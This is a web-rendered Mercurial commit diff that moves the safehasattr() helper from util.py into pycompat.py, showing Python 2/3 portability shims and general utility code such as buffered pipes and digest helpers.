##// END OF EJS Templates
util: make safehasattr() a pycompat function...
Yuya Nishihara -
r37117:6ca5f825 default
parent child Browse files
Show More
@@ -1,373 +1,380
1 1 # pycompat.py - portability shim for python 3
2 2 #
3 3 # This software may be used and distributed according to the terms of the
4 4 # GNU General Public License version 2 or any later version.
5 5
6 6 """Mercurial portability shim for python 3.
7 7
8 8 This contains aliases to hide python version-specific details from the core.
9 9 """
10 10
11 11 from __future__ import absolute_import
12 12
13 13 import getopt
14 14 import inspect
15 15 import os
16 16 import shlex
17 17 import sys
18 18
19 19 ispy3 = (sys.version_info[0] >= 3)
20 20 ispypy = (r'__pypy__' in sys.builtin_module_names)
21 21
22 22 if not ispy3:
23 23 import cookielib
24 24 import cPickle as pickle
25 25 import httplib
26 26 import Queue as _queue
27 27 import SocketServer as socketserver
28 28 import xmlrpclib
29 29 else:
30 30 import http.cookiejar as cookielib
31 31 import http.client as httplib
32 32 import pickle
33 33 import queue as _queue
34 34 import socketserver
35 35 import xmlrpc.client as xmlrpclib
36 36
37 37 empty = _queue.Empty
38 38 queue = _queue.Queue
39 39
40 40 def identity(a):
41 41 return a
42 42
43 43 if ispy3:
44 44 import builtins
45 45 import functools
46 46 import io
47 47 import struct
48 48
49 49 fsencode = os.fsencode
50 50 fsdecode = os.fsdecode
51 51 oscurdir = os.curdir.encode('ascii')
52 52 oslinesep = os.linesep.encode('ascii')
53 53 osname = os.name.encode('ascii')
54 54 ospathsep = os.pathsep.encode('ascii')
55 55 ospardir = os.pardir.encode('ascii')
56 56 ossep = os.sep.encode('ascii')
57 57 osaltsep = os.altsep
58 58 if osaltsep:
59 59 osaltsep = osaltsep.encode('ascii')
60 60 # os.getcwd() on Python 3 returns string, but it has os.getcwdb() which
61 61 # returns bytes.
62 62 getcwd = os.getcwdb
63 63 sysplatform = sys.platform.encode('ascii')
64 64 sysexecutable = sys.executable
65 65 if sysexecutable:
66 66 sysexecutable = os.fsencode(sysexecutable)
67 67 bytesio = io.BytesIO
68 68 # TODO deprecate stringio name, as it is a lie on Python 3.
69 69 stringio = bytesio
70 70
71 71 def maplist(*args):
72 72 return list(map(*args))
73 73
74 74 def rangelist(*args):
75 75 return list(range(*args))
76 76
77 77 def ziplist(*args):
78 78 return list(zip(*args))
79 79
80 80 rawinput = input
81 81 getargspec = inspect.getfullargspec
82 82
83 83 # TODO: .buffer might not exist if std streams were replaced; we'll need
84 84 # a silly wrapper to make a bytes stream backed by a unicode one.
85 85 stdin = sys.stdin.buffer
86 86 stdout = sys.stdout.buffer
87 87 stderr = sys.stderr.buffer
88 88
89 89 # Since Python 3 converts argv to wchar_t type by Py_DecodeLocale() on Unix,
90 90 # we can use os.fsencode() to get back bytes argv.
91 91 #
92 92 # https://hg.python.org/cpython/file/v3.5.1/Programs/python.c#l55
93 93 #
94 94 # TODO: On Windows, the native argv is wchar_t, so we'll need a different
95 95 # workaround to simulate the Python 2 (i.e. ANSI Win32 API) behavior.
96 96 if getattr(sys, 'argv', None) is not None:
97 97 sysargv = list(map(os.fsencode, sys.argv))
98 98
99 99 bytechr = struct.Struct('>B').pack
100 100 byterepr = b'%r'.__mod__
101 101
102 102 class bytestr(bytes):
103 103 """A bytes which mostly acts as a Python 2 str
104 104
105 105 >>> bytestr(), bytestr(bytearray(b'foo')), bytestr(u'ascii'), bytestr(1)
106 106 ('', 'foo', 'ascii', '1')
107 107 >>> s = bytestr(b'foo')
108 108 >>> assert s is bytestr(s)
109 109
110 110 __bytes__() should be called if provided:
111 111
112 112 >>> class bytesable(object):
113 113 ... def __bytes__(self):
114 114 ... return b'bytes'
115 115 >>> bytestr(bytesable())
116 116 'bytes'
117 117
118 118 There's no implicit conversion from non-ascii str as its encoding is
119 119 unknown:
120 120
121 121 >>> bytestr(chr(0x80)) # doctest: +ELLIPSIS
122 122 Traceback (most recent call last):
123 123 ...
124 124 UnicodeEncodeError: ...
125 125
126 126 Comparison between bytestr and bytes should work:
127 127
128 128 >>> assert bytestr(b'foo') == b'foo'
129 129 >>> assert b'foo' == bytestr(b'foo')
130 130 >>> assert b'f' in bytestr(b'foo')
131 131 >>> assert bytestr(b'f') in b'foo'
132 132
133 133 Sliced elements should be bytes, not integer:
134 134
135 135 >>> s[1], s[:2]
136 136 (b'o', b'fo')
137 137 >>> list(s), list(reversed(s))
138 138 ([b'f', b'o', b'o'], [b'o', b'o', b'f'])
139 139
140 140 As bytestr type isn't propagated across operations, you need to cast
141 141 bytes to bytestr explicitly:
142 142
143 143 >>> s = bytestr(b'foo').upper()
144 144 >>> t = bytestr(s)
145 145 >>> s[0], t[0]
146 146 (70, b'F')
147 147
148 148 Be careful to not pass a bytestr object to a function which expects
149 149 bytearray-like behavior.
150 150
151 151 >>> t = bytes(t) # cast to bytes
152 152 >>> assert type(t) is bytes
153 153 """
154 154
155 155 def __new__(cls, s=b''):
156 156 if isinstance(s, bytestr):
157 157 return s
158 158 if (not isinstance(s, (bytes, bytearray))
159 159 and not hasattr(s, u'__bytes__')): # hasattr-py3-only
160 160 s = str(s).encode(u'ascii')
161 161 return bytes.__new__(cls, s)
162 162
163 163 def __getitem__(self, key):
164 164 s = bytes.__getitem__(self, key)
165 165 if not isinstance(s, bytes):
166 166 s = bytechr(s)
167 167 return s
168 168
169 169 def __iter__(self):
170 170 return iterbytestr(bytes.__iter__(self))
171 171
172 172 def __repr__(self):
173 173 return bytes.__repr__(self)[1:] # drop b''
174 174
175 175 def iterbytestr(s):
176 176 """Iterate bytes as if it were a str object of Python 2"""
177 177 return map(bytechr, s)
178 178
179 179 def maybebytestr(s):
180 180 """Promote bytes to bytestr"""
181 181 if isinstance(s, bytes):
182 182 return bytestr(s)
183 183 return s
184 184
185 185 def sysbytes(s):
186 186 """Convert an internal str (e.g. keyword, __doc__) back to bytes
187 187
188 188 This never raises UnicodeEncodeError, but only ASCII characters
189 189 can be round-trip by sysstr(sysbytes(s)).
190 190 """
191 191 return s.encode(u'utf-8')
192 192
193 193 def sysstr(s):
194 194 """Return a keyword str to be passed to Python functions such as
195 195 getattr() and str.encode()
196 196
197 197 This never raises UnicodeDecodeError. Non-ascii characters are
198 198 considered invalid and mapped to arbitrary but unique code points
199 199 such that 'sysstr(a) != sysstr(b)' for all 'a != b'.
200 200 """
201 201 if isinstance(s, builtins.str):
202 202 return s
203 203 return s.decode(u'latin-1')
204 204
205 205 def strurl(url):
206 206 """Converts a bytes url back to str"""
207 207 if isinstance(url, bytes):
208 208 return url.decode(u'ascii')
209 209 return url
210 210
211 211 def bytesurl(url):
212 212 """Converts a str url to bytes by encoding in ascii"""
213 213 if isinstance(url, str):
214 214 return url.encode(u'ascii')
215 215 return url
216 216
217 217 def raisewithtb(exc, tb):
218 218 """Raise exception with the given traceback"""
219 219 raise exc.with_traceback(tb)
220 220
221 221 def getdoc(obj):
222 222 """Get docstring as bytes; may be None so gettext() won't confuse it
223 223 with _('')"""
224 224 doc = getattr(obj, u'__doc__', None)
225 225 if doc is None:
226 226 return doc
227 227 return sysbytes(doc)
228 228
229 229 def _wrapattrfunc(f):
230 230 @functools.wraps(f)
231 231 def w(object, name, *args):
232 232 return f(object, sysstr(name), *args)
233 233 return w
234 234
235 235 # these wrappers are automagically imported by hgloader
236 236 delattr = _wrapattrfunc(builtins.delattr)
237 237 getattr = _wrapattrfunc(builtins.getattr)
238 238 hasattr = _wrapattrfunc(builtins.hasattr)
239 239 setattr = _wrapattrfunc(builtins.setattr)
240 240 xrange = builtins.range
241 241 unicode = str
242 242
243 243 def open(name, mode='r', buffering=-1, encoding=None):
244 244 return builtins.open(name, sysstr(mode), buffering, encoding)
245 245
246 safehasattr = _wrapattrfunc(builtins.hasattr)
247
246 248 def _getoptbwrapper(orig, args, shortlist, namelist):
247 249 """
248 250 Takes bytes arguments, converts them to unicode, pass them to
249 251 getopt.getopt(), convert the returned values back to bytes and then
250 252 return them for Python 3 compatibility as getopt.getopt() don't accepts
251 253 bytes on Python 3.
252 254 """
253 255 args = [a.decode('latin-1') for a in args]
254 256 shortlist = shortlist.decode('latin-1')
255 257 namelist = [a.decode('latin-1') for a in namelist]
256 258 opts, args = orig(args, shortlist, namelist)
257 259 opts = [(a[0].encode('latin-1'), a[1].encode('latin-1'))
258 260 for a in opts]
259 261 args = [a.encode('latin-1') for a in args]
260 262 return opts, args
261 263
262 264 def strkwargs(dic):
263 265 """
264 266 Converts the keys of a python dictonary to str i.e. unicodes so that
265 267 they can be passed as keyword arguments as dictonaries with bytes keys
266 268 can't be passed as keyword arguments to functions on Python 3.
267 269 """
268 270 dic = dict((k.decode('latin-1'), v) for k, v in dic.iteritems())
269 271 return dic
270 272
271 273 def byteskwargs(dic):
272 274 """
273 275 Converts keys of python dictonaries to bytes as they were converted to
274 276 str to pass that dictonary as a keyword argument on Python 3.
275 277 """
276 278 dic = dict((k.encode('latin-1'), v) for k, v in dic.iteritems())
277 279 return dic
278 280
279 281 # TODO: handle shlex.shlex().
280 282 def shlexsplit(s, comments=False, posix=True):
281 283 """
282 284 Takes bytes argument, convert it to str i.e. unicodes, pass that into
283 285 shlex.split(), convert the returned value to bytes and return that for
284 286 Python 3 compatibility as shelx.split() don't accept bytes on Python 3.
285 287 """
286 288 ret = shlex.split(s.decode('latin-1'), comments, posix)
287 289 return [a.encode('latin-1') for a in ret]
288 290
289 291 def emailparser(*args, **kwargs):
290 292 import email.parser
291 293 return email.parser.BytesParser(*args, **kwargs)
292 294
293 295 else:
294 296 import cStringIO
295 297
296 298 bytechr = chr
297 299 byterepr = repr
298 300 bytestr = str
299 301 iterbytestr = iter
300 302 maybebytestr = identity
301 303 sysbytes = identity
302 304 sysstr = identity
303 305 strurl = identity
304 306 bytesurl = identity
305 307
306 308 # this can't be parsed on Python 3
307 309 exec('def raisewithtb(exc, tb):\n'
308 310 ' raise exc, None, tb\n')
309 311
310 312 def fsencode(filename):
311 313 """
312 314 Partial backport from os.py in Python 3, which only accepts bytes.
313 315 In Python 2, our paths should only ever be bytes, a unicode path
314 316 indicates a bug.
315 317 """
316 318 if isinstance(filename, str):
317 319 return filename
318 320 else:
319 321 raise TypeError(
320 322 "expect str, not %s" % type(filename).__name__)
321 323
322 324 # In Python 2, fsdecode() has a very chance to receive bytes. So it's
323 325 # better not to touch Python 2 part as it's already working fine.
324 326 fsdecode = identity
325 327
326 328 def getdoc(obj):
327 329 return getattr(obj, '__doc__', None)
328 330
331 _notset = object()
332
333 def safehasattr(thing, attr):
334 return getattr(thing, attr, _notset) is not _notset
335
329 336 def _getoptbwrapper(orig, args, shortlist, namelist):
330 337 return orig(args, shortlist, namelist)
331 338
332 339 strkwargs = identity
333 340 byteskwargs = identity
334 341
335 342 oscurdir = os.curdir
336 343 oslinesep = os.linesep
337 344 osname = os.name
338 345 ospathsep = os.pathsep
339 346 ospardir = os.pardir
340 347 ossep = os.sep
341 348 osaltsep = os.altsep
342 349 stdin = sys.stdin
343 350 stdout = sys.stdout
344 351 stderr = sys.stderr
345 352 if getattr(sys, 'argv', None) is not None:
346 353 sysargv = sys.argv
347 354 sysplatform = sys.platform
348 355 getcwd = os.getcwd
349 356 sysexecutable = sys.executable
350 357 shlexsplit = shlex.split
351 358 bytesio = cStringIO.StringIO
352 359 stringio = bytesio
353 360 maplist = map
354 361 rangelist = range
355 362 ziplist = zip
356 363 rawinput = raw_input
357 364 getargspec = inspect.getargspec
358 365
359 366 def emailparser(*args, **kwargs):
360 367 import email.parser
361 368 return email.parser.Parser(*args, **kwargs)
362 369
363 370 isjython = sysplatform.startswith('java')
364 371
365 372 isdarwin = sysplatform == 'darwin'
366 373 isposix = osname == 'posix'
367 374 iswindows = osname == 'nt'
368 375
369 376 def getoptb(args, shortlist, namelist):
370 377 return _getoptbwrapper(getopt.getopt, args, shortlist, namelist)
371 378
372 379 def gnugetoptb(args, shortlist, namelist):
373 380 return _getoptbwrapper(getopt.gnu_getopt, args, shortlist, namelist)
@@ -1,4092 +1,4090
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import collections
21 21 import contextlib
22 22 import errno
23 23 import gc
24 24 import hashlib
25 25 import imp
26 26 import io
27 27 import itertools
28 28 import mmap
29 29 import os
30 30 import platform as pyplatform
31 31 import re as remod
32 32 import shutil
33 33 import signal
34 34 import socket
35 35 import stat
36 36 import subprocess
37 37 import sys
38 38 import tempfile
39 39 import time
40 40 import traceback
41 41 import warnings
42 42 import zlib
43 43
44 44 from . import (
45 45 encoding,
46 46 error,
47 47 i18n,
48 48 node as nodemod,
49 49 policy,
50 50 pycompat,
51 51 urllibcompat,
52 52 )
53 53 from .utils import (
54 54 dateutil,
55 55 stringutil,
56 56 )
57 57
58 58 base85 = policy.importmod(r'base85')
59 59 osutil = policy.importmod(r'osutil')
60 60 parsers = policy.importmod(r'parsers')
61 61
62 62 b85decode = base85.b85decode
63 63 b85encode = base85.b85encode
64 64
65 65 cookielib = pycompat.cookielib
66 66 empty = pycompat.empty
67 67 httplib = pycompat.httplib
68 68 pickle = pycompat.pickle
69 69 queue = pycompat.queue
70 safehasattr = pycompat.safehasattr
70 71 socketserver = pycompat.socketserver
71 72 stderr = pycompat.stderr
72 73 stdin = pycompat.stdin
73 74 stdout = pycompat.stdout
74 75 bytesio = pycompat.bytesio
75 76 # TODO deprecate stringio name, as it is a lie on Python 3.
76 77 stringio = bytesio
77 78 xmlrpclib = pycompat.xmlrpclib
78 79
79 80 httpserver = urllibcompat.httpserver
80 81 urlerr = urllibcompat.urlerr
81 82 urlreq = urllibcompat.urlreq
82 83
83 84 # workaround for win32mbcs
84 85 _filenamebytestr = pycompat.bytestr
85 86
86 87 def isatty(fp):
87 88 try:
88 89 return fp.isatty()
89 90 except AttributeError:
90 91 return False
91 92
92 93 # glibc determines buffering on first write to stdout - if we replace a TTY
93 94 # destined stdout with a pipe destined stdout (e.g. pager), we want line
94 95 # buffering
95 96 if isatty(stdout):
96 97 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
97 98
98 99 if pycompat.iswindows:
99 100 from . import windows as platform
100 101 stdout = platform.winstdout(stdout)
101 102 else:
102 103 from . import posix as platform
103 104
104 105 _ = i18n._
105 106
106 107 bindunixsocket = platform.bindunixsocket
107 108 cachestat = platform.cachestat
108 109 checkexec = platform.checkexec
109 110 checklink = platform.checklink
110 111 copymode = platform.copymode
111 112 expandglobs = platform.expandglobs
112 113 explainexit = platform.explainexit
113 114 findexe = platform.findexe
114 115 getfsmountpoint = platform.getfsmountpoint
115 116 getfstype = platform.getfstype
116 117 gethgcmd = platform.gethgcmd
117 118 getuser = platform.getuser
118 119 getpid = os.getpid
119 120 groupmembers = platform.groupmembers
120 121 groupname = platform.groupname
121 122 hidewindow = platform.hidewindow
122 123 isexec = platform.isexec
123 124 isowner = platform.isowner
124 125 listdir = osutil.listdir
125 126 localpath = platform.localpath
126 127 lookupreg = platform.lookupreg
127 128 makedir = platform.makedir
128 129 nlinks = platform.nlinks
129 130 normpath = platform.normpath
130 131 normcase = platform.normcase
131 132 normcasespec = platform.normcasespec
132 133 normcasefallback = platform.normcasefallback
133 134 openhardlinks = platform.openhardlinks
134 135 oslink = platform.oslink
135 136 parsepatchoutput = platform.parsepatchoutput
136 137 pconvert = platform.pconvert
137 138 poll = platform.poll
138 139 popen = platform.popen
139 140 posixfile = platform.posixfile
140 141 quotecommand = platform.quotecommand
141 142 readpipe = platform.readpipe
142 143 rename = platform.rename
143 144 removedirs = platform.removedirs
144 145 samedevice = platform.samedevice
145 146 samefile = platform.samefile
146 147 samestat = platform.samestat
147 148 setbinary = platform.setbinary
148 149 setflags = platform.setflags
149 150 setsignalhandler = platform.setsignalhandler
150 151 shellquote = platform.shellquote
151 152 shellsplit = platform.shellsplit
152 153 spawndetached = platform.spawndetached
153 154 split = platform.split
154 155 sshargs = platform.sshargs
155 156 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
156 157 statisexec = platform.statisexec
157 158 statislink = platform.statislink
158 159 testpid = platform.testpid
159 160 umask = platform.umask
160 161 unlink = platform.unlink
161 162 username = platform.username
162 163
163 164 try:
164 165 recvfds = osutil.recvfds
165 166 except AttributeError:
166 167 pass
167 168 try:
168 169 setprocname = osutil.setprocname
169 170 except AttributeError:
170 171 pass
171 172 try:
172 173 unblocksignal = osutil.unblocksignal
173 174 except AttributeError:
174 175 pass
175 176
176 177 # Python compatibility
177 178
178 179 _notset = object()
179 180
180 def safehasattr(thing, attr):
181 return getattr(thing, attr, _notset) is not _notset
182
183 181 def _rapply(f, xs):
184 182 if xs is None:
185 183 # assume None means non-value of optional data
186 184 return xs
187 185 if isinstance(xs, (list, set, tuple)):
188 186 return type(xs)(_rapply(f, x) for x in xs)
189 187 if isinstance(xs, dict):
190 188 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
191 189 return f(xs)
192 190
193 191 def rapply(f, xs):
194 192 """Apply function recursively to every item preserving the data structure
195 193
196 194 >>> def f(x):
197 195 ... return 'f(%s)' % x
198 196 >>> rapply(f, None) is None
199 197 True
200 198 >>> rapply(f, 'a')
201 199 'f(a)'
202 200 >>> rapply(f, {'a'}) == {'f(a)'}
203 201 True
204 202 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
205 203 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
206 204
207 205 >>> xs = [object()]
208 206 >>> rapply(pycompat.identity, xs) is xs
209 207 True
210 208 """
211 209 if f is pycompat.identity:
212 210 # fast path mainly for py2
213 211 return xs
214 212 return _rapply(f, xs)
215 213
216 214 def bitsfrom(container):
217 215 bits = 0
218 216 for bit in container:
219 217 bits |= bit
220 218 return bits
221 219
222 220 # python 2.6 still have deprecation warning enabled by default. We do not want
223 221 # to display anything to standard user so detect if we are running test and
224 222 # only use python deprecation warning in this case.
225 223 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
226 224 if _dowarn:
227 225 # explicitly unfilter our warning for python 2.7
228 226 #
229 227 # The option of setting PYTHONWARNINGS in the test runner was investigated.
230 228 # However, module name set through PYTHONWARNINGS was exactly matched, so
231 229 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
232 230 # makes the whole PYTHONWARNINGS thing useless for our usecase.
233 231 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
234 232 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
235 233 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
236 234 if _dowarn and pycompat.ispy3:
237 235 # silence warning emitted by passing user string to re.sub()
238 236 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
239 237 r'mercurial')
240 238 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
241 239 DeprecationWarning, r'mercurial')
242 240
243 241 def nouideprecwarn(msg, version, stacklevel=1):
244 242 """Issue an python native deprecation warning
245 243
246 244 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
247 245 """
248 246 if _dowarn:
249 247 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
250 248 " update your code.)") % version
251 249 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
252 250
253 251 DIGESTS = {
254 252 'md5': hashlib.md5,
255 253 'sha1': hashlib.sha1,
256 254 'sha512': hashlib.sha512,
257 255 }
258 256 # List of digest types from strongest to weakest
259 257 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
260 258
261 259 for k in DIGESTS_BY_STRENGTH:
262 260 assert k in DIGESTS
263 261
264 262 class digester(object):
265 263 """helper to compute digests.
266 264
267 265 This helper can be used to compute one or more digests given their name.
268 266
269 267 >>> d = digester([b'md5', b'sha1'])
270 268 >>> d.update(b'foo')
271 269 >>> [k for k in sorted(d)]
272 270 ['md5', 'sha1']
273 271 >>> d[b'md5']
274 272 'acbd18db4cc2f85cedef654fccc4a4d8'
275 273 >>> d[b'sha1']
276 274 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
277 275 >>> digester.preferred([b'md5', b'sha1'])
278 276 'sha1'
279 277 """
280 278
281 279 def __init__(self, digests, s=''):
282 280 self._hashes = {}
283 281 for k in digests:
284 282 if k not in DIGESTS:
285 283 raise error.Abort(_('unknown digest type: %s') % k)
286 284 self._hashes[k] = DIGESTS[k]()
287 285 if s:
288 286 self.update(s)
289 287
290 288 def update(self, data):
291 289 for h in self._hashes.values():
292 290 h.update(data)
293 291
294 292 def __getitem__(self, key):
295 293 if key not in DIGESTS:
296 294 raise error.Abort(_('unknown digest type: %s') % k)
297 295 return nodemod.hex(self._hashes[key].digest())
298 296
299 297 def __iter__(self):
300 298 return iter(self._hashes)
301 299
302 300 @staticmethod
303 301 def preferred(supported):
304 302 """returns the strongest digest type in both supported and DIGESTS."""
305 303
306 304 for k in DIGESTS_BY_STRENGTH:
307 305 if k in supported:
308 306 return k
309 307 return None
310 308
311 309 class digestchecker(object):
312 310 """file handle wrapper that additionally checks content against a given
313 311 size and digests.
314 312
315 313 d = digestchecker(fh, size, {'md5': '...'})
316 314
317 315 When multiple digests are given, all of them are validated.
318 316 """
319 317
320 318 def __init__(self, fh, size, digests):
321 319 self._fh = fh
322 320 self._size = size
323 321 self._got = 0
324 322 self._digests = dict(digests)
325 323 self._digester = digester(self._digests.keys())
326 324
327 325 def read(self, length=-1):
328 326 content = self._fh.read(length)
329 327 self._digester.update(content)
330 328 self._got += len(content)
331 329 return content
332 330
333 331 def validate(self):
334 332 if self._size != self._got:
335 333 raise error.Abort(_('size mismatch: expected %d, got %d') %
336 334 (self._size, self._got))
337 335 for k, v in self._digests.items():
338 336 if v != self._digester[k]:
339 337 # i18n: first parameter is a digest name
340 338 raise error.Abort(_('%s mismatch: expected %s, got %s') %
341 339 (k, v, self._digester[k]))
342 340
343 341 try:
344 342 buffer = buffer
345 343 except NameError:
346 344 def buffer(sliceable, offset=0, length=None):
347 345 if length is not None:
348 346 return memoryview(sliceable)[offset:offset + length]
349 347 return memoryview(sliceable)[offset:]
350 348
351 349 closefds = pycompat.isposix
352 350
353 351 _chunksize = 4096
354 352
355 353 class bufferedinputpipe(object):
356 354 """a manually buffered input pipe
357 355
358 356 Python will not let us use buffered IO and lazy reading with 'polling' at
359 357 the same time. We cannot probe the buffer state and select will not detect
360 358 that data are ready to read if they are already buffered.
361 359
362 360 This class let us work around that by implementing its own buffering
363 361 (allowing efficient readline) while offering a way to know if the buffer is
364 362 empty from the output (allowing collaboration of the buffer with polling).
365 363
366 364 This class lives in the 'util' module because it makes use of the 'os'
367 365 module from the python stdlib.
368 366 """
369 367 def __new__(cls, fh):
370 368 # If we receive a fileobjectproxy, we need to use a variation of this
371 369 # class that notifies observers about activity.
372 370 if isinstance(fh, fileobjectproxy):
373 371 cls = observedbufferedinputpipe
374 372
375 373 return super(bufferedinputpipe, cls).__new__(cls)
376 374
377 375 def __init__(self, input):
378 376 self._input = input
379 377 self._buffer = []
380 378 self._eof = False
381 379 self._lenbuf = 0
382 380
383 381 @property
384 382 def hasbuffer(self):
385 383 """True is any data is currently buffered
386 384
387 385 This will be used externally a pre-step for polling IO. If there is
388 386 already data then no polling should be set in place."""
389 387 return bool(self._buffer)
390 388
391 389 @property
392 390 def closed(self):
393 391 return self._input.closed
394 392
395 393 def fileno(self):
396 394 return self._input.fileno()
397 395
398 396 def close(self):
399 397 return self._input.close()
400 398
401 399 def read(self, size):
402 400 while (not self._eof) and (self._lenbuf < size):
403 401 self._fillbuffer()
404 402 return self._frombuffer(size)
405 403
406 404 def readline(self, *args, **kwargs):
407 405 if 1 < len(self._buffer):
408 406 # this should not happen because both read and readline end with a
409 407 # _frombuffer call that collapse it.
410 408 self._buffer = [''.join(self._buffer)]
411 409 self._lenbuf = len(self._buffer[0])
412 410 lfi = -1
413 411 if self._buffer:
414 412 lfi = self._buffer[-1].find('\n')
415 413 while (not self._eof) and lfi < 0:
416 414 self._fillbuffer()
417 415 if self._buffer:
418 416 lfi = self._buffer[-1].find('\n')
419 417 size = lfi + 1
420 418 if lfi < 0: # end of file
421 419 size = self._lenbuf
422 420 elif 1 < len(self._buffer):
423 421 # we need to take previous chunks into account
424 422 size += self._lenbuf - len(self._buffer[-1])
425 423 return self._frombuffer(size)
426 424
427 425 def _frombuffer(self, size):
428 426 """return at most 'size' data from the buffer
429 427
430 428 The data are removed from the buffer."""
431 429 if size == 0 or not self._buffer:
432 430 return ''
433 431 buf = self._buffer[0]
434 432 if 1 < len(self._buffer):
435 433 buf = ''.join(self._buffer)
436 434
437 435 data = buf[:size]
438 436 buf = buf[len(data):]
439 437 if buf:
440 438 self._buffer = [buf]
441 439 self._lenbuf = len(buf)
442 440 else:
443 441 self._buffer = []
444 442 self._lenbuf = 0
445 443 return data
446 444
447 445 def _fillbuffer(self):
448 446 """read data to the buffer"""
449 447 data = os.read(self._input.fileno(), _chunksize)
450 448 if not data:
451 449 self._eof = True
452 450 else:
453 451 self._lenbuf += len(data)
454 452 self._buffer.append(data)
455 453
456 454 return data
457 455
458 456 def mmapread(fp):
459 457 try:
460 458 fd = getattr(fp, 'fileno', lambda: fp)()
461 459 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
462 460 except ValueError:
463 461 # Empty files cannot be mmapped, but mmapread should still work. Check
464 462 # if the file is empty, and if so, return an empty buffer.
465 463 if os.fstat(fd).st_size == 0:
466 464 return ''
467 465 raise
468 466
469 467 def popen2(cmd, env=None, newlines=False):
470 468 # Setting bufsize to -1 lets the system decide the buffer size.
471 469 # The default for bufsize is 0, meaning unbuffered. This leads to
472 470 # poor performance on Mac OS X: http://bugs.python.org/issue4194
473 471 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
474 472 close_fds=closefds,
475 473 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
476 474 universal_newlines=newlines,
477 475 env=env)
478 476 return p.stdin, p.stdout
479 477
480 478 def popen3(cmd, env=None, newlines=False):
481 479 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
482 480 return stdin, stdout, stderr
483 481
484 482 def popen4(cmd, env=None, newlines=False, bufsize=-1):
485 483 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
486 484 close_fds=closefds,
487 485 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
488 486 stderr=subprocess.PIPE,
489 487 universal_newlines=newlines,
490 488 env=env)
491 489 return p.stdin, p.stdout, p.stderr, p
492 490
493 491 class fileobjectproxy(object):
494 492 """A proxy around file objects that tells a watcher when events occur.
495 493
496 494 This type is intended to only be used for testing purposes. Think hard
497 495 before using it in important code.
498 496 """
499 497 __slots__ = (
500 498 r'_orig',
501 499 r'_observer',
502 500 )
503 501
504 502 def __init__(self, fh, observer):
505 503 object.__setattr__(self, r'_orig', fh)
506 504 object.__setattr__(self, r'_observer', observer)
507 505
508 506 def __getattribute__(self, name):
509 507 ours = {
510 508 r'_observer',
511 509
512 510 # IOBase
513 511 r'close',
514 512 # closed if a property
515 513 r'fileno',
516 514 r'flush',
517 515 r'isatty',
518 516 r'readable',
519 517 r'readline',
520 518 r'readlines',
521 519 r'seek',
522 520 r'seekable',
523 521 r'tell',
524 522 r'truncate',
525 523 r'writable',
526 524 r'writelines',
527 525 # RawIOBase
528 526 r'read',
529 527 r'readall',
530 528 r'readinto',
531 529 r'write',
532 530 # BufferedIOBase
533 531 # raw is a property
534 532 r'detach',
535 533 # read defined above
536 534 r'read1',
537 535 # readinto defined above
538 536 # write defined above
539 537 }
540 538
541 539 # We only observe some methods.
542 540 if name in ours:
543 541 return object.__getattribute__(self, name)
544 542
545 543 return getattr(object.__getattribute__(self, r'_orig'), name)
546 544
547 545 def __nonzero__(self):
548 546 return bool(object.__getattribute__(self, r'_orig'))
549 547
550 548 __bool__ = __nonzero__
551 549
552 550 def __delattr__(self, name):
553 551 return delattr(object.__getattribute__(self, r'_orig'), name)
554 552
555 553 def __setattr__(self, name, value):
556 554 return setattr(object.__getattribute__(self, r'_orig'), name, value)
557 555
558 556 def __iter__(self):
559 557 return object.__getattribute__(self, r'_orig').__iter__()
560 558
561 559 def _observedcall(self, name, *args, **kwargs):
562 560 # Call the original object.
563 561 orig = object.__getattribute__(self, r'_orig')
564 562 res = getattr(orig, name)(*args, **kwargs)
565 563
566 564 # Call a method on the observer of the same name with arguments
567 565 # so it can react, log, etc.
568 566 observer = object.__getattribute__(self, r'_observer')
569 567 fn = getattr(observer, name, None)
570 568 if fn:
571 569 fn(res, *args, **kwargs)
572 570
573 571 return res
574 572
575 573 def close(self, *args, **kwargs):
576 574 return object.__getattribute__(self, r'_observedcall')(
577 575 r'close', *args, **kwargs)
578 576
579 577 def fileno(self, *args, **kwargs):
580 578 return object.__getattribute__(self, r'_observedcall')(
581 579 r'fileno', *args, **kwargs)
582 580
583 581 def flush(self, *args, **kwargs):
584 582 return object.__getattribute__(self, r'_observedcall')(
585 583 r'flush', *args, **kwargs)
586 584
587 585 def isatty(self, *args, **kwargs):
588 586 return object.__getattribute__(self, r'_observedcall')(
589 587 r'isatty', *args, **kwargs)
590 588
591 589 def readable(self, *args, **kwargs):
592 590 return object.__getattribute__(self, r'_observedcall')(
593 591 r'readable', *args, **kwargs)
594 592
595 593 def readline(self, *args, **kwargs):
